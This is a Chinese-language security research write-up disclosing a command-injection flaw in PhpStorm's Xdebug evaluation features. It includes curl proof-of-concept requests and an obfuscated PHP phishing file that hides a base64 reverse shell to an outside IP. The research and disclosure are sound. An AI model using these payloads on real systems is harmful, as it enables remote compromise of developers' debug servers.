Xdebug 攻擊面在 PhpStorm 上的現實利用

作者:dawu@知道創宇404實驗室

時間:2018年8月16日

0x00 前 言

在調試 Drupal 遠程命令執行漏洞(CVE-2018-7600 && CVE-2018-7602)時,存在一個超大的數組 $form 。在該數組中尋找到注入的變量,可以幫助調試人員確認攻擊是否成功。

但是作爲一個安全研究人員,在調試時也保持着一顆發現漏洞的心,所以知道 $form 中的每一個元素的內容就十分重要了。然而 PhpStorm 這款調試工具需要不斷的點擊才能看到數組中各元素的值,這顯然非常低效。

筆者在官方手冊中發現了一種解決方案:

但是 Evaluate in Console 看上去就具有一定的危險性,所以筆者深入研究了該功能的實現過程併成功通過 PhpStorm 在 Xdebug 服務器上執行了命令。

0x01 準備工作

1.1 Xdebug的工作原理和潛在的攻擊面

Xdebug 工作原理和潛在的攻擊面前人已有部分文章總結:

  • Xdebug: A Tiny Attack Surface(https://paper.seebug.org/397/)
  • 利用惡意頁面攻擊本地Xdebug(https://paper.seebug.org/558/)

綜合上述參考鏈接,已知的攻擊面有:

  1. eval 命令: 可以執行代碼。
  2. property_set && property_get 命令: 可以執行代碼
  3. source 命令: 可以閱讀源碼。
  4. 利用 DNS 重綁技術可能可以導致本地 Xdebug 服務器被攻擊。

就本文而言 PhpStorm 和 Xdebug 進行調試的工作流程如下:

  1. PhpStorm 開啓調試監聽,默認綁定 9000、10137、20080 端口等待連接。
  2. 開發者使用 XDEBUG_SESSION=PHPSTORM (XDEBUG_SESSION的內容可以配置,筆者設置的是PHPSTORM) 訪問 php 頁面。
  3. Xdebug 服務器反連至 PhpStorm 監聽的 9000 端口。
  4. 通過步驟3建立的連接,開發者可以進行閱讀源碼、設置斷點、執行代碼等操作。

如果我們可以控制 PhpStorm 在調試時使用的命令,那麼在步驟4中攻擊面 1、2、3 將會直接威脅到 Xdebug 服務器的安全。

1.2 實時嗅探腳本開發

工欲善其事,必先利其器。筆者開發了一個腳本用於實時顯示 PhpStorm 和 Xdebug 交互的流量(該腳本在下文截圖中會多次出現):

from scapy.all import * import base64 Terminal_color = { "DEFAULT": "\033[0m", "RED": "\033[1;31;40m" } def pack_callback(packet): try: if packet[TCP].payload.raw_packet_cache != None: print("*"* 200) print("%s:%s --> %s:%s " %(packet['IP'].src,packet.sport,packet['IP'].dst,packet.dport)) print(packet[TCP].payload.raw_packet_cache.decode('utf-8')) if packet[TCP].payload.raw_packet_cache.startswith(b"eval"): print("%s[EVAL] %s %s"%(Terminal_color['RED'],base64.b64decode(packet[TCP].payload.raw_packet_cache.decode('utf-8').split("--")[1].strip()).decode('utf-8'),Terminal_color['DEFAULT'])) if packet[TCP].payload.raw_packet_cache.startswith(b"property_set"): variable = "" for i in packet[TCP].payload.raw_packet_cache.decode('utf-8').split(" "): if "$" in i: variable = i print("%s[PROPERTY_SET] %s=%s %s"%(Terminal_color['RED'],variable,base64.b64decode(packet[TCP].payload.raw_packet_cache.decode('utf-8').split("--")[1].strip()).decode('utf-8'),Terminal_color['DEFAULT'])) if b"command=\"eval\"" in packet[TCP].payload.raw_packet_cache: raw_data = packet[TCP].payload.raw_packet_cache.decode('utf-8') CDATA_postion = raw_data.find("CDATA") try: eval_result = base64.b64decode(raw_data[CDATA_postion+6:CDATA_postion+raw_data[CDATA_postion:].find("]")]) print("%s[CDATA] %s %s"%(Terminal_color['RED'],eval_result,Terminal_color['DEFAULT'])) except: pass except Exception as e: print(e) print(packet[TCP].payload) dpkt = sniff(iface="vmnet5",filter="tcp", prn=pack_callback) # 這裏設置的監聽網卡是 vmnet5,使用時可以根據實際的網卡進行修改

0x02 通過 PhpStorm 在 Xdebug 服務器上執行命令

2.1 通過 Evaluate in Console 執行命令

通過上文的腳本,可以很清晰的看到我們在執行 Evaluate in Console 命令時發生了什麼(紅色部分是 base64 解碼後的結果):

如果我們可以控制 $q,那我們就可以控制 eval 的內容。但是在 PHP 官方手冊中,明確規定了變量名稱應該由 a-zA-Z_\x7f-\xff 組成:

Variable names follow the same rules as other labels in PHP. A valid variable name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: '[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'

所以通過控制 $q 來控制 eval 的內容並不現實。但是在 PhpStorm 獲取數組中某個元素時,會將該元素的名稱帶入 eval 的語句中。

如圖所示,定義數組如下: $a = ( "aaa'bbb"=>"ccc"),並在 PhpStorm 中使用 Evaluate in Console功能。

可以看到單引號未做任何過濾,這也就意味着我可以控制 eval 的內容了。在下圖中,我通過對 $a['aaa\'];#'] 變量使用 Evaluate in Console 功能獲取到 $a['aaa'] 的值。

精心構造的請求和代碼如下:

$ curl "http://192.168.88.128/first_pwn.php?q=a%27%5d(\$b);%09%23" --cookie "XDEBUG_SESSION=PHPSTORM" <?php $a = array(); $q = $_GET['q']; $a['a'] = 'system'; $b = "date >> /tmp/dawu"; $a[$q] = "aaa"; echo $a; ?>

但在這個例子中存在一個明顯的缺陷:可以看到惡意的元素名稱。如果用於釣魚攻擊,會大大降低成功率,所以對上述的代碼進行了一定的修改:

$ curl "http://192.168.88.128/second_pwn.php?q=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%27%5d(\$b);%09%23" --cookie "XDEBUG_SESSION=PHPSTORM" <?php $a = array(); $q = $_GET['q']; $a['aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'] = 'system'; $b = "date >> /tmp/dawu"; $a[$q] = "aaa"; echo $a; ?>

在元素名稱足夠長時,PhpStorm 會自動隱藏後面的部分:

2.2 通過 Copy Value As 執行命令

繼續研究發現,COPY VALUE AS (print_r/var_export/json_encode) 同樣也會使用 Xdebug 的 eval 命令來實現相應的功能:

再次精心構造相應的請求和代碼後,可以再次在 Xdebug 服務器上執行命令:

curl "http://192.168.88.128/second_pwn.php?q=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%27%5d(\$b));%23" --cookie "XDEBUG_SESSION=PHPSTORM"

2.3 實際攻擊探究

基於上述的研究,我認爲可以通過 PhpStorm 實現釣魚攻擊。假設的攻擊流程如下:

  1. 攻擊者確保受害者可以發現惡意的 PHP 文件。例如安全研究人員之間交流 某大馬 具體實現了哪些功能、運維人員發現服務器上出現了可疑的 PHP 文件。
  2. 如果受害者在大致瀏覽 PHP 文件內容後,決定使用 PhpStorm 分析該文件。
  3. 受害者使用 COPY VALUE AS (print_r/var_export/json_encode)、Evaluate array in Console 等功能。命令將會執行。
  4. 攻擊者可以收到受害者 Xdebug 服務器的 shell。

精心構造的代碼如下(其中的反連IP地址爲臨時開啓的VPS):

<?php $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMOPQRSTUVWXYZ_N+;'\"()\$ #[]"; $a = $chars[1].$chars[0].$chars[18].$chars[4].$chars[32].$chars[30].$chars[61].$chars[3].$chars[4].$chars[2].$chars[14].$chars[3].$chars[4]; //base64_decode $b = $chars[4].$chars[21].$chars[0].$chars[11]; //eval $c = $chars[18].$chars[24].$chars[18].$chars[19].$chars[4].$chars[12]; //system $e = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46]; // cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE0OS4yOC4yMzAuNTIiLDk5OTkpO2V4ZWMoIi9iaW4vYmFzaCAtaSA8JjMgPiYzIDI+JjMgICIpOycK $f = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46].$chars[65].$chars[73].$chars[67].$chars[69].$chars[0].$chars[67].$chars[69].$chars[4].$chars[68].$chars[68].$chars[68].$chars[64].$chars[71]; // cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE0OS4yOC4yMzAuNTIiLDk5OTkpO2V4ZWMoIi9iaW4vYmFzaCAtaSA8JjMgPiYzIDI+JjMgICIpOycK'](\$a(\$z)));# $g = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46].$chars[21].$chars[24].$chars[20].$chars[6].$chars[7].$chars[8].$chars[13].$chars[3].$chars[9].$chars[18].$chars[1].$chars[20].$chars[8].$chars[6].$chars[7].$chars[14].$chars[2].$chars[13].$chars[18].$chars[0]; $i = $chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[22].$chars[14]; //echo hello world; base64 $n = array( $e => $c, $f => $i, $g => $a, ); $n[$e]($n[$g]($n[$f])); ?>

直接執行該 PHP 代碼,將只會多次運行 system("echo hello world;")。但是調試人員並不會執行 PHP 代碼,他也許會取出 $n[$f] 的值,然後通過 echo XXXXXXXX|base64 -d 解碼出具體的內容。

如果他使用 COPY VALUE BY print_r 拷貝對應的變量,他的 Xdebug 服務器上將會被執行命令。

在下面這個 gif 中,左邊是攻擊者的終端,右邊是受害者的 debug 過程。

(GIF中存在一處筆誤: decise 應爲 decide)

0x03 結 語

在整個漏洞的發現過程中,存在一定的曲折,但這也正是安全研究的樂趣所在。PhpStorm 官方最終沒有認可該漏洞,也是一點小小的遺憾。在此將該發現分享出來,一方面是爲了跟大家分享思路,另一方面也請安全研究人員使用 PhpStorm 調試代碼時慎用 COPY VALUE AS (print_r/var_export/json_encode)、Evaluate array in Console 功能。

0x04 時間線

  • 2018/06/08: 發現 Evaluate in Console 存在 在 Xdebug 服務器上 執行命令的風險。
  • 2018/06/31 - 2018/07/01: 嘗試分析 Evaluate in Console 的問題,發現新的利用點 Copy Value. 即使 eval 是 Xdebug 提供的功能,但是 PhpStorm 沒有過濾單引號導致我們可以在 Xdebug 服務器上執行命令,所以整理文檔聯繫 [email protected]
  • 2018/07/04: 收到官方回覆,認爲這是 Xdebug 的問題,PhpStorm 在調試過程中不提供對服務器資源的額外訪問權限。
  • 2018/07/06: 再次聯繫官方,說明該攻擊可以用於釣魚攻擊。
  • 2018/07/06: 官方認爲用戶在服務器上運行不可信的代碼會造成服務器被破壞,這與 PhpStorm 無關,這也是 PhpStorm 不影響服務器安全性的原因。官方同意我披露該問題。
  • 2018/08/16: 披露該問題。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章